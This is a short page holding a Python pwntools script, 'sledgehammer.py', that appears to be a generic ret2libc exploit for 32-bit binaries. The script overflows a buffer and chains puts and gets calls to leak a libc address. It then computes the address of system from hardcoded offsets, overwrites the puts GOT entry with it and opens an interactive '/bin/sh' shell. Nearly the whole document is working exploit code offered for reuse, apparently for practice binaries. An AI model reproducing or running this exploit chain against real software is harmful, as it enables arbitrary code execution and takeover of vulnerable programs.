Exploiter

sledgehammer.py

from pwn import *
import sys
print("STARTING PYTHON SCRIPT")

def readleak(resp, start, end):
    return u32(resp[start:end])

def getAddStart(leak, find):
    count = 0
    while (count < 50):
        if (leak[count] == find[1] and leak[count + 1] == find[2] and leak[count + 2] == find[3]):
            return (count - 5) 
        count = count + 1
    return "error"

#reveng part: (one pop should pop CRAP; ret; to clean stack)
binaryname = sys.argv[1]
onepopgadget = sys.argv[2]
onepopgadget = int(onepopgadget, 16) 
offset = int(sys.argv[3], 10)
putsoffset = 0x00067b40
sysoffset = 0x0003d200

p=process(binaryname)
elf=ELF(binaryname)
intro = p.recv()
payload = b"A"*offset
payload += p32(elf.plt["puts"]) + p32(onepopgadget) + p32(elf.got["puts"])
payload += p32(elf.plt["gets"]) + p32(onepopgadget) + p32(elf.got["puts"])
payload += p32(elf.plt["gets"]) + p32(onepopgadget) + p32(elf.got["puts"]+0x10)
payload += p32(elf.plt["puts"]) + p32(onepopgadget) + p32(elf.got["puts"]+0x10)
p.sendline(payload)
leak = p.recv()
print(leak)
#Leak parsing 
plt=p32(elf.plt["gets"])

start = getAddStart(leak, plt)
print(start)
putslibc = readleak(leak, start, start + 4)
print(hex(putslibc))
glibcbase = putslibc - putsoffset
glibsystem = glibcbase + sysoffset
p.sendline(p32(glibsystem))
p.send("/bin/sh\x00")
p.interactive()